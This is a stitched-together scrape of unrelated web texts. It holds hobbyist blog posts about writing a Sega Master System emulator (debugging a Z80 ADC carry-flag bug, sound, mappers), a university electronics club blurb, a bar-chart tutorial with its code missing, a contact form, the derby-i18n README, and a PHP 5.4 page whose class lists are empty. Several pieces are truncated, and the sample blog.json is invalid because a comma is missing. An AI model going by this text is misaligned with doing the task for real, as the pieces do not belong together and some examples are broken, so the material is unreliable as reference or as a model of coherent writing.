 You can view these tutorials here
I feel more motivated lately to continue wih my emulation work after a few months break. I’ll more than likely optimize my gameboy emulator and add sound to it next.
CS
Posted in Sega Master System | 1 Comment »
February 3rd, 2009
Just a quick note to let you all know that Im still alive and kicking. I have completed most of my SMS emulation tutorials which can be found here. All that is left to do is the VDP emulation tutorial which Ive mostly written so expect it in the next few days.
Whilst writing these tutorials I have had one eye on the sega mega drive/genesis hardware notes so hopefully soon I can start emulating this system. This system looks very interesting and should be a good step up in difficulty.
CS
Posted in Uncategorized | 4 Comments »
December 18th, 2008
I am ready to release the first version of my sega master system emulator. It has approximately 95% compatibility which is enough for me to start writing the SMS tutorials and upload them to the main site. Hopefully I should have them written by the end of the week and I can go back to my Gameboy emulator and implement sound.
The SMS has been a really fun project and I’ve learnt a lot more about emulation programming from it, but have also realised how much left there is to learn. Hopefully my next emulator (Sega Mega Drive/Genesis) will have more advance emulation techniques.
Keep watching this space for the release of my emulator along with source code and the “how-to” tutorials.
CS
Posted in Sega Master System | No Comments »
December 16th, 2008
I’ve been searching the internet recently trying to find some good documentation on sound emulation. None exist. Hopefully when I finish my emulator and write my “how to emulate the sega master system” tutorial on my site, the section on sound emulation should be a good resource to new programmers.
I have found a good article on the SMS sound chip SN79489 written by Maxim which explains how it works, and I have been programming in the dark trying to implement this into my emu. I believe my sound emulator is now 100% complete with the tiny problem that it doesnt seem to be synchronised with the cpu so the frequency of the music is incorrect. Apart from this it seems to be working fine.
Now im on my christmas holidays I should have enough time to get my SMS emulator finished by the end of the week which will be a great achievement. As soon as it’s finished I’ll write the tutorials for it and then go back to my gameboy emulator to tweak it and emulate sound before moving on to the sega mega drive, which im really looking forward to.
Merry Christmas all
CS.
Posted in Sega Master System | No Comments »
November 10th, 2008
Well this week I’ve entered a world of pain with my emulator debugger. First of all I had to debug street fighter to see why it wasnt working and it turned out that it was relying on the reading of the mapper control registers (0xFFFC-0xFFFF) to return the values of the mapped address of 0xDFFC-0xDFFF. As soon as I put this into the game I had immediate success.

Finally I’ve been debugging why my code masters larger res screen doesnt work and why the graphics are screwy in mortal kombat.
Luckily for me they were both the same error. The error was with my 8 and 16 bit opcodes for adc and sbc. Now this is how I emulated 8 bit adc (for when adding register c to register a):
BYTE before = m_RegisterAF.hi ;
BYTE toAdd = m_RegisterBC.lo ;
if (isCarrySet)
toAdd++ ;
m_RegisterAF.hi += toAdd ;
if ((before + toAdd) > 0xFF)
SetCarryFlag() ;
else
ResetCarryFlag() ;
// code to work out the other flags
Can you spot whats wrong with the above code?
Solution:
At first glance this looks fine however think what would happen if register C was 0xFF? When the carry gets added the toAdd variable wraps back round to 0. So register a stays set to 0xFF which is correct, however the setting of the c flag never gets set. This was causing the following instruction in mortal kombat (jump if carry is set) to fail.
That took me ages to find!
However both mortal kombat and micro machines are playable. My main concern now is why half of the games I play suffer from graphic flicker…. Better get my debugger back out.
Fortunately this is the last of the big bugs that need debugging and then it’s on to sound emulation (oh joy). However the end feels just round the corner.
CS
Posted in Sega Master System | No Comments »
November 2nd, 2008
If any of you are writing a Z80 emulator then take it from me dont rely on zexall too much. If zexalls output says you have a bug then you most definately do. However if it says that the test went ok it doesnt mean that they are bug free.
I managed to fix a bug in my emulator without zexalls help which was causing a few games to display the background incorrectly. Mainly Lemmings and Land of Illusion. This bug has been haunting me for awhile so im quite relieved to have fixed it.
I have recently found out that some games run at the wrong speed with my emulator so after checking all my opcodes to see if they are emulating their cycles correctly I was left with the conclusion it must be an error with my vsync emultion. Sure enough I wasnt moving on to the next scanline quick enough which was causing too few vsync interrupts to occur which is one of the main way speed is controlled in games. This is now fixed (after a day of headache) and all games play at the correct speed ( or should I say all tested games? )
Over the past few days I have also emulated the none maskable reset interrupt, the different screen resolution controlled by the current vdp mode and the codemasters mapper. Although the codemasters mapper is implemented correctly the majority of the games show issues with background rendering. However I believe this to be a problem with the background rendering routine rather than the mapper iteself because there is not much room for error with the mapper (compared to the sega mapper anyway).
CS
Posted in Sega Master System | No Comments »
October 29th, 2008
I’m starting to come to the end of my master system emulator and thought it best to make a list of what needs doing before I start writing the tutorials.
Easy:
- All control pad buttons including player 2 (Implemented)
- Correct Game Speed (Fixed)
- Reset Interrupt (Fixed)
- CodeMasters Mapper (Fixed)
Medium:
- Zexall test completion (Fixed)
- Speed optimizations (Implemented)
- Render background correctly for larger screen res (Fixed)
- Render mode 2 sprites correctly (Fixed)
- Change screen res for codemaster games (Fixed)
Difficult:
- Sound (Implemented)
- Fix graphical bugs found in Land of Illusion, Lemmings (Fixed)
- Fix bug Street Fighter (Fixed)
- Find out why some roms dont show first screen (Fixed)
- Fix bug in mortal kombat (Fixed)
- Fix black graphic flicker in some games (Fixed)
Whenever I fix one of these items I’ll edit this post and label them as fixed.
Doesn’t look too bad does it?
CS
Posted in Sega Master System | No Comments »


The Electronics club of IIT Indore is motley of electronics fanatics. It caters the need of providing a platform which can expose individuals to the ever fascinating field of electronics. Our aim is to create an atmosphere conducive for this subject and assist students in bridging the gap between theory and practical. Keeping this in mind, we conduct lecture series, workshops, seminars and competitions. Along with theory sessions, we provide students hands on experience and chance to see the concepts working in reality. This motivates the students to think about innovations and create new wonders on their own. We take up projects which are intriguing and form the latest trends in the fields of electronics. We aim at preparing students to participate in various competitions as well.


A Bar chart importing data from an HTML table
|
Monday |
Tuesday |
Wednesday |
Thursday |
Friday |
Saturday |
Sunday |
| Richard |
432.11 |
486.56 |
378.12 |
446.18 |
199.55 |
268.65 |
411.12 |
This goes in the documents header:

Put this where you want the chart to show up:

<canvas id="cvs" width="750" height="300">[No canvas support]</canvas>

monday
tuesday
wednesday
thursday
friday
saturday
sunday

richard
432.11
486.56
378.12
446.18
199.55
268.65
411.12

This is the code that generates the chart - it should be placed AFTER the canvas tag(s):


FREE CONSULTATION
Contact and receive a Feedback about your Project, Website or Idea.
Name
*
Email
*
Phone/Whatsapp
Details
*
Get Feedback


Simple filesystem-based i18n support for derby, a node.js MVC framework. It is planned to support interpolation and plurals in the near future.
npm install derby-i18n
By default, derby-i18n looks for locales in locales/[language-code]/[app-name].json
.
For example, if you have an app called "blog", and your app supports english, you'll
have locale files at locales/en/blog.json
. Heres a sample blog.json file to get you started:
{
"title": "JKN"
"article": {
"published_on": "Published on the",
"meta": "Read more and comment"
}
}
In your app.js, you'll need to call derby-i18n's localize
method on your app:
var derby = require('derby'),
i18n = require('derby-i18n'),
app = i18n.localize(derby.createApp(module), {
availableLocales: ['en', 'ja'],
urlScheme: 'path'
});
There are a number of options available for localize, but if you don't pass it any options it will assume you just want English. This is really simple way to build in support for other languages from the beginning!
derby-i18n adds a few view helpers for you to use, including:
t(key)
Returns the translation for the given key. For example, to display the published_on
key in the above locale file, you would do {{t("article.published_on")}}
.
Support is planned for pluralization and interpolation in the near future.
localizedPath(path)
If using the path
urlScheme, this will return the given path with /[locale]/
prepended to it - for example /en/
for the English locale. If not using the path
urlScheme, nothing happens. This is useful for making sure your URLs are always pointing at the correct language.
derby-i18n also sets an _i18n
field on your model:
model.set('_i18n', {
locale: locale,
language: language,
region: region,
namespace: o.ns
});
The locale attribute includes the region if it is supported, otherwise just the language. The namespace is just the name of your app (blog
in the above example).
Configuration is accomplished by passing options to the localize call which wraps your app. The available options include:
urlScheme
Currently, the only supported options are "path"
and false
. Support for "domain"
is also planned.
When set to "path"
, the first place to look for a locale is the first part of the current URL. For example, if the URL is /ja/ongaku/capsule
, then your locale will be ja
. Regions are also supported, for example /en-US
.
When set to false
, URLs will be ignored as a source of locale information.
availableLocales
An array containing the available locales for your app. Defaults to ["en"]
.
This should mirror the locales available in your /locales
directory. If a locale is requested in a URL and isn't in this list, a 404 exception will be thrown.
checkHeader
If true
, the http accept-language header will be checked for a locale in the case that one isn't available in the URL. If the language-region combination is available, that will be used. Failing that, if a locale is defined for the same language without a region attached, that will be used. Otherwise the default locale is used.
defaultLocale
The locale which will be chosen if one can't be found in the URL or headers. Defaults to the first locale in the availableLocales
option.
forceScheme
When urlScheme
is "path"
, URLs which don't match this regex will have the locale
prepended to the URL in a redirect. URLs which do match it and don't contain a locale will 404. By default, matches everything over than /
.
backend
Defaults to a filesystem backend, but it should be possible to create others, like one based on the MongoDB store.


--- title: New Classes and Interfaces version: "5.4" tags: - "5.4" - classes ---
The following classes were introduced in PHP 5.4.0:
SPL:
Reflection:
Json:
Session:
Snmp:
Intl: